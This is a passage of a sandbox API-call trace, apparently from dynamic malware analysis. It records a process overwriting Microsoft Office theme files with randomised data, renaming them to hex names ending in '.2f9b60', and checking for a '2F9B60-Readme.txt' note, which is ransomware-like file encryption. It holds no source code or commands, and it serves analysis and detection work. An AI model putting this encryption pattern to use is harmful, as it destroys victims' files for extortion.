Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0110.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a75b0 [0110.959] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a75b0) returned 1 [0110.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e6e130 [0110.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a75b0 [0110.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a77f0 [0110.959] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a77f0) returned 1 [0110.959] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0110.959] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.959] WriteFile (in: hFile=0x15e0, lpBuffer=0x41e6e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x333ff5c0, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesWritten=0x333ff5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0110.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6e130) returned 1 [0110.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced9860 [0110.962] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0110.962] WriteFile (in: hFile=0x15e0, lpBuffer=0x133ce0*, nNumberOfBytesToWrite=0x14e, lpNumberOfBytesWritten=0x333ff670, lpOverlapped=0x0 | out: lpBuffer=0x133ce0*, lpNumberOfBytesWritten=0x333ff670*=0x14e, lpOverlapped=0x0) returned 1 [0110.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0110.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7bb0 [0110.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7bb0) returned 1 [0110.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x202a7bb0 [0110.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a75b0 [0110.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ca0 [0110.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7ca0) returned 1 [0110.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0110.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd971c0 [0110.964] sprintf (in: _Dest=0x1cd971c0, _Format="%c%c" | out: _Dest="dc") returned 2 [0110.964] sprintf (in: _Dest=0x1cd971c2, _Format="%c%c" | out: _Dest="c4") returned 2 [0110.964] sprintf (in: _Dest=0x1cd971c4, _Format="%c%c" | out: _Dest="16") returned 2 [0110.964] sprintf (in: _Dest=0x1cd971c6, _Format="%c%c" | out: _Dest="4e") returned 2 [0110.964] sprintf (in: _Dest=0x1cd971c8, _Format="%c%c" | out: _Dest="b7") returned 2 [0110.964] sprintf (in: _Dest=0x1cd971ca, _Format="%c%c" | out: _Dest="20") returned 2 [0110.964] sprintf (in: _Dest=0x1cd971cc, _Format="%c%c" | out: _Dest="8a") returned 2 [0110.964] sprintf (in: _Dest=0x1cd971ce, _Format="%c%c" | out: _Dest="24") returned 2 [0110.965] sprintf (in: _Dest=0x1cd971d0, _Format="%c%c" | out: _Dest="04") returned 2 [0110.965] sprintf (in: _Dest=0x1cd971d2, _Format="%c%c" | out: _Dest="8e") returned 2 [0110.965] sprintf (in: _Dest=0x1cd971d4, _Format="%c%c" | out: _Dest="64") returned 2 [0110.965] sprintf (in: _Dest=0x1cd971d6, _Format="%c%c" | out: _Dest="44") returned 2 [0110.965] sprintf (in: _Dest=0x1cd971d8, _Format="%c%c" | out: _Dest="f8") returned 2 [0110.965] sprintf (in: _Dest=0x1cd971da, _Format="%c%c" | out: _Dest="af") returned 2 [0110.965] sprintf (in: _Dest=0x1cd971dc, _Format="%c%c" | out: _Dest="6c") returned 2 [0110.965] sprintf (in: _Dest=0x1cd971de, _Format="%c%c" | out: _Dest="70") returned 2 [0110.965] sprintf (in: _Dest=0x1cd971e0, _Format="%c%c" | out: _Dest="22") returned 2 [0110.965] sprintf (in: _Dest=0x1cd971e2, _Format="%c%c" | out: _Dest="81") returned 2 [0110.965] sprintf (in: _Dest=0x1cd971e4, _Format="%c%c" | out: _Dest="28") returned 2 [0110.965] sprintf (in: _Dest=0x1cd971e6, _Format="%c%c" | out: _Dest="00") returned 2 [0110.965] sprintf (in: _Dest=0x1cd971e8, _Format="%c%c" | out: _Dest="e3") returned 2 [0110.965] sprintf (in: _Dest=0x1cd971ea, _Format="%c%c" | out: _Dest="3f") returned 2 [0110.965] sprintf (in: _Dest=0x1cd971ec, _Format="%c%c" | out: _Dest="3a") returned 2 [0110.965] sprintf (in: _Dest=0x1cd971ee, _Format="%c%c" | out: _Dest="79") returned 2 [0110.965] sprintf (in: _Dest=0x1cd971f0, _Format="%c%c" | out: _Dest="ec") returned 2 [0110.965] sprintf (in: _Dest=0x1cd971f2, _Format="%c%c" | out: _Dest="b2") returned 2 [0110.965] sprintf (in: _Dest=0x1cd971f4, _Format="%c%c" | out: _Dest="3e") returned 2 [0110.965] sprintf (in: _Dest=0x1cd971f6, _Format="%c%c" | out: _Dest="1e") returned 2 [0110.965] RtlInitAnsiString (in: DestinationString=0x333ff6e8, SourceString="dcc4164eb7208a24048e6444f8af6c7022812800e33f3a79ecb23e1e" | out: DestinationString="dcc4164eb7208a24048e6444f8af6c7022812800e33f3a79ecb23e1e") [0110.965] RtlAnsiStringToUnicodeString (in: DestinationString=0x333ff6b8, SourceString="dcc4164eb7208a24048e6444f8af6c7022812800e33f3a79ecb23e1e", AllocateDestinationString=1 | out: DestinationString="dcc4164eb7208a24048e6444f8af6c7022812800e33f3a79ecb23e1e") returned 0x0 [0110.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b869f40 [0110.966] wcscat (in: _Dest=0x20279a30, _Source="dcc4164eb7208a" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\dcc4164eb7208a") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\dcc4164eb7208a" [0110.966] wcscat (in: _Dest=0x20279a30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\dcc4164eb7208a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\dcc4164eb7208a.2f9b60" [0110.966] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\dcc4164eb7208a.2f9b60", NtPathName=0x333ff690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\dcc4164eb7208a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0110.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd0) returned 0x1b776af0 [0110.966] NtSetInformationFile (FileHandle=0x15e0, IoStatusBlock=0x333ff730, FileInformation=0x1b776af0, Length=0xd0, FileInformationClass=0xa) returned 0x0 [0110.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776af0) returned 1 [0110.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0110.968] NtQueryInformationFile (in: FileHandle=0x15e0, IoStatusBlock=0x333ff6f8, FileInformation=0x333ff708, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x333ff6f8, FileInformation=0x333ff708) returned 0x0 [0110.968] NtSetInformationFile (FileHandle=0x15e0, IoStatusBlock=0x333ff6f8, FileInformation=0x333ff708, Length=0x28, FileInformationClass=0x4) returned 0x0 [0110.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0110.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0110.969] FlushFileBuffers (hFile=0x15e0) returned 1 [0110.971] CloseHandle (hObject=0x15e0) returned 1 [0110.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279a30 [0110.972] wcscpy (in: _Dest=0x20279a30, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0110.972] wcscat (in: _Dest=0x20279a30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0110.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0110.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0110.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64bb0) returned 1 Thread: id = 1065 os_tid = 0x174c [0110.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx")) returned 0x20 [0110.974] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx", dwFileAttributes=0x20) returned 1 [0110.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15e0 [0110.975] GetFileSizeEx (in: hFile=0x15e0, lpFileSize=0x3374fde0 | out: lpFileSize=0x3374fde0*=24611) returned 1 [0110.975] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x601f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.975] ReadFile (in: hFile=0x15e0, lpBuffer=0x3374fd60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3374fda8, lpOverlapped=0x0 | out: lpBuffer=0x3374fd60*, lpNumberOfBytesRead=0x3374fda8*=0x4, lpOverlapped=0x0) returned 1 [0110.978] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7cd0 [0110.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7670 [0110.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7be0 [0110.979] NtQuerySystemTime (in: CurrentTime=0x3374fca0 | out: CurrentTime=0x3374fca0*=132462177164614000) returned 0x0 [0110.979] RtlRandomEx (in: Seed=0x3374fc90 | out: Seed=0x3374fc90) returned 0x1cd160de [0110.979] RtlRandomEx (in: Seed=0x3374fc90 | out: Seed=0x3374fc90) returned 0x55bad01f [0110.979] RtlRandomEx (in: Seed=0x3374fc90 | out: Seed=0x3374fc90) returned 0x2cef3f8 [0110.979] RtlRandomEx (in: Seed=0x3374fc90 | out: Seed=0x3374fc90) returned 0x3913ffae [0110.979] RtlRandomEx (in: Seed=0x3374fc90 | out: Seed=0x3374fc90) returned 0x4d72d853 [0110.979] RtlRandomEx (in: Seed=0x3374fc90 | out: Seed=0x3374fc90) returned 0x227f5d19 [0110.979] RtlRandomEx (in: Seed=0x3374fc90 | out: Seed=0x3374fc90) returned 0x15de8c33 [0110.979] RtlRandomEx (in: Seed=0x3374fc90 | out: Seed=0x3374fc90) returned 0x6a877280 [0110.979] RtlRandomEx (in: Seed=0x3374fc90 | out: Seed=0x3374fc90) returned 0x59009cef [0110.979] RtlRandomEx (in: Seed=0x3374fc90 | out: Seed=0x3374fc90) returned 0x223f051e [0110.979] RtlRandomEx (in: Seed=0x3374fc90 | out: Seed=0x3374fc90) returned 0x75f42d4e [0110.979] RtlRandomEx (in: Seed=0x3374fc90 | out: Seed=0x3374fc90) returned 0x3d4f9cc4 [0110.979] RtlRandomEx (in: Seed=0x3374fc90 | out: Seed=0x3374fc90) returned 0x429c7c9d [0110.979] RtlRandomEx (in: Seed=0x3374fc90 | out: Seed=0x3374fc90) returned 0x5eecae79 [0110.979] RtlRandomEx (in: Seed=0x3374fc90 | out: Seed=0x3374fc90) returned 0x500f18af [0110.979] RtlRandomEx (in: Seed=0x3374fc90 | out: Seed=0x3374fc90) returned 0x1a2767b8 [0110.979] RtlRandomEx (in: Seed=0x3374fc90 | out: Seed=0x3374fc90) returned 0x7739382f [0110.979] RtlRandomEx (in: Seed=0x3374fc90 | out: Seed=0x3374fc90) returned 0x41ac29cd [0110.979] RtlRandomEx (in: Seed=0x3374fc90 | out: Seed=0x3374fc90) returned 0x7e3ef095 [0110.979] RtlRandomEx (in: Seed=0x3374fc90 | out: Seed=0x3374fc90) returned 0x439410b3 [0110.979] RtlRandomEx (in: Seed=0x3374fc90 | out: Seed=0x3374fc90) returned 0x84b0558 [0110.979] RtlRandomEx (in: Seed=0x3374fc90 | out: Seed=0x3374fc90) returned 0x1a7ed060 [0110.979] RtlRandomEx (in: Seed=0x3374fc90 | out: Seed=0x3374fc90) returned 0x10e063c1 [0110.979] RtlRandomEx (in: Seed=0x3374fc90 | out: Seed=0x3374fc90) returned 0x4d304bcd [0110.979] RtlRandomEx (in: Seed=0x3374fc90 | out: Seed=0x3374fc90) returned 0x4248c0ad [0110.979] RtlRandomEx (in: Seed=0x3374fc90 | out: Seed=0x3374fc90) returned 0x390fbfc0 [0110.979] RtlRandomEx (in: Seed=0x3374fc90 | out: Seed=0x3374fc90) returned 0x45261fa8 [0110.979] RtlRandomEx (in: Seed=0x3374fc90 | out: Seed=0x3374fc90) returned 0x1dfa0c65 [0110.979] RtlRandomEx (in: Seed=0x3374fc90 | out: Seed=0x3374fc90) returned 0x6415d340 [0110.979] RtlRandomEx (in: Seed=0x3374fc90 | out: Seed=0x3374fc90) returned 0x5bfe446a [0110.979] RtlRandomEx (in: Seed=0x3374fc90 | out: Seed=0x3374fc90) returned 0xf8bf181 [0110.979] RtlRandomEx (in: Seed=0x3374fc90 | out: Seed=0x3374fc90) returned 0x62c6c39 [0110.988] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.988] ReadFile (in: hFile=0x15e0, lpBuffer=0x41e5f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3374fd00, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesRead=0x3374fd00*=0x3c00, lpOverlapped=0x0) returned 1 [0110.989] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0110.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7cd0 [0110.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7cd0) returned 1 [0110.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e6e130 [0110.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7cd0 [0110.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7be0 [0110.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7be0) returned 1 [0110.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0110.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.990] WriteFile (in: hFile=0x15e0, lpBuffer=0x41e6e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3374fd00, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesWritten=0x3374fd00*=0x3c00, lpOverlapped=0x0) returned 1 [0111.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6e130) returned 1 [0111.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5f0f0) returned 1 [0111.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x202a7be0 [0111.000] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0111.000] WriteFile (in: hFile=0x15e0, lpBuffer=0x169910*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3374fdb0, lpOverlapped=0x0 | out: lpBuffer=0x169910*, lpNumberOfBytesWritten=0x3374fdb0*=0x108, lpOverlapped=0x0) returned 1 [0111.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ca0 [0111.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7ca0) returned 1 [0111.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0111.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ca0 [0111.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7b50 [0111.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7b50) returned 1 [0111.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f070 [0111.014] sprintf (in: _Dest=0x1cd9f070, _Format="%c%c" | out: _Dest="dc") returned 2 [0111.014] sprintf (in: _Dest=0x1cd9f072, _Format="%c%c" | out: _Dest="28") returned 2 [0111.014] sprintf (in: _Dest=0x1cd9f074, _Format="%c%c" | out: _Dest="1a") returned 2 [0111.014] sprintf (in: _Dest=0x1cd9f076, _Format="%c%c" | out: _Dest="22") returned 2 [0111.014] sprintf (in: _Dest=0x1cd9f078, _Format="%c%c" | out: _Dest="fd") returned 2 [0111.014] sprintf (in: _Dest=0x1cd9f07a, _Format="%c%c" | out: _Dest="9a") returned 2 [0111.015] sprintf (in: _Dest=0x1cd9f07c, _Format="%c%c" | out: _Dest="23") returned 2 [0111.015] sprintf (in: _Dest=0x1cd9f07e, _Format="%c%c" | out: _Dest="e1") returned 2 [0111.015] sprintf (in: _Dest=0x1cd9f080, _Format="%c%c" | out: _Dest="c0") returned 2 [0111.015] sprintf (in: _Dest=0x1cd9f082, _Format="%c%c" | out: _Dest="1f") returned 2 [0111.015] sprintf (in: _Dest=0x1cd9f084, _Format="%c%c" | out: _Dest="ae") returned 2 [0111.015] sprintf (in: _Dest=0x1cd9f086, _Format="%c%c" | out: _Dest="84") returned 2 [0111.015] sprintf (in: _Dest=0x1cd9f088, _Format="%c%c" | out: _Dest="d5") returned 2 [0111.015] sprintf (in: _Dest=0x1cd9f08a, _Format="%c%c" | out: _Dest="ec") returned 2 [0111.015] sprintf (in: _Dest=0x1cd9f08c, _Format="%c%c" | out: _Dest="78") returned 2 [0111.015] sprintf (in: _Dest=0x1cd9f08e, _Format="%c%c" | out: _Dest="67") returned 2 [0111.015] sprintf (in: _Dest=0x1cd9f090, _Format="%c%c" | out: _Dest="40") returned 2 [0111.015] sprintf (in: _Dest=0x1cd9f092, _Format="%c%c" | out: _Dest="2a") returned 2 [0111.015] sprintf (in: _Dest=0x1cd9f094, _Format="%c%c" | out: _Dest="5c") returned 2 [0111.015] sprintf (in: _Dest=0x1cd9f096, _Format="%c%c" | out: _Dest="22") returned 2 [0111.015] sprintf (in: _Dest=0x1cd9f098, _Format="%c%c" | out: _Dest="d5") returned 2 [0111.015] sprintf (in: _Dest=0x1cd9f09a, _Format="%c%c" | out: _Dest="00") returned 2 [0111.015] RtlInitAnsiString (in: DestinationString=0x3374fe28, SourceString="dc281a22fd9a23e1c01fae84d5ec7867402a5c22d500" | out: DestinationString="dc281a22fd9a23e1c01fae84d5ec7867402a5c22d500") [0111.015] RtlAnsiStringToUnicodeString (in: DestinationString=0x3374fdf8, SourceString="dc281a22fd9a23e1c01fae84d5ec7867402a5c22d500", AllocateDestinationString=1 | out: DestinationString="dc281a22fd9a23e1c01fae84d5ec7867402a5c22d500") returned 0x0 [0111.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced97f0 [0111.016] wcscat (in: _Dest=0x20279a30, _Source="dc281a22fd9" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\dc281a22fd9") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\dc281a22fd9" [0111.016] wcscat (in: _Dest=0x20279a30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\dc281a22fd9.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\dc281a22fd9.2f9b60" [0111.016] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\dc281a22fd9.2f9b60", NtPathName=0x3374fdd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\dc281a22fd9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0111.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1b776af0 [0111.016] NtSetInformationFile (FileHandle=0x15e0, IoStatusBlock=0x3374fe70, FileInformation=0x1b776af0, Length=0xca, FileInformationClass=0xa) returned 0x0 [0111.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776af0) returned 1 [0111.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0111.018] NtQueryInformationFile (in: FileHandle=0x15e0, IoStatusBlock=0x3374fe38, FileInformation=0x3374fe48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3374fe38, FileInformation=0x3374fe48) returned 0x0 [0111.018] NtSetInformationFile (FileHandle=0x15e0, IoStatusBlock=0x3374fe38, FileInformation=0x3374fe48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0111.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0111.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced97f0) returned 1 [0111.019] FlushFileBuffers (hFile=0x15e0) returned 1 [0111.023] CloseHandle (hObject=0x15e0) returned 1 [0111.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279a30 [0111.024] wcscpy (in: _Dest=0x20279a30, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0111.024] wcscat (in: _Dest=0x20279a30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0111.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0111.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0111.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64c60) returned 1 Thread: id = 1066 os_tid = 0x1750 [0110.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx")) returned 0x20 [0110.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx", dwFileAttributes=0x20) returned 1 [0110.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1574 [0110.995] GetFileSizeEx (in: hFile=0x1574, lpFileSize=0x331dfba0 | out: lpFileSize=0x331dfba0*=16350) returned 1 [0110.995] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x3fda, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.995] ReadFile (in: hFile=0x1574, lpBuffer=0x331dfb20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x331dfb68, lpOverlapped=0x0 | out: lpBuffer=0x331dfb20*, lpNumberOfBytesRead=0x331dfb68*=0x4, lpOverlapped=0x0) returned 1 [0111.001] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ca0 [0111.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a77f0 [0111.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7b50 [0111.001] NtQuerySystemTime (in: CurrentTime=0x331dfa60 | out: CurrentTime=0x331dfa60*=132462177164770000) returned 0x0 [0111.001] RtlRandomEx (in: Seed=0x331dfa50 | out: Seed=0x331dfa50) returned 0x429a141c [0111.001] RtlRandomEx (in: Seed=0x331dfa50 | out: Seed=0x331dfa50) returned 0x16b2b22d [0111.001] RtlRandomEx (in: Seed=0x331dfa50 | out: Seed=0x331dfa50) returned 0x577ff744 [0111.001] RtlRandomEx (in: Seed=0x331dfa50 | out: Seed=0x331dfa50) returned 0x14c9cf33 [0111.001] RtlRandomEx (in: Seed=0x331dfa50 | out: Seed=0x331dfa50) returned 0x22573116 [0111.001] RtlRandomEx (in: Seed=0x331dfa50 | out: Seed=0x331dfa50) returned 0x6d02e2c [0111.001] RtlRandomEx (in: Seed=0x331dfa50 | out: Seed=0x331dfa50) returned 0x108b670 [0111.001] RtlRandomEx (in: Seed=0x331dfa50 | out: Seed=0x331dfa50) returned 0x386d9c22 [0111.001] RtlRandomEx (in: Seed=0x331dfa50 | out: Seed=0x331dfa50) returned 0x6dce9b0c [0111.001] RtlRandomEx (in: Seed=0x331dfa50 | out: Seed=0x331dfa50) returned 0x572bbd67 [0111.001] RtlRandomEx (in: Seed=0x331dfa50 | out: Seed=0x331dfa50) returned 0x7ae33e2c [0111.002] RtlRandomEx (in: 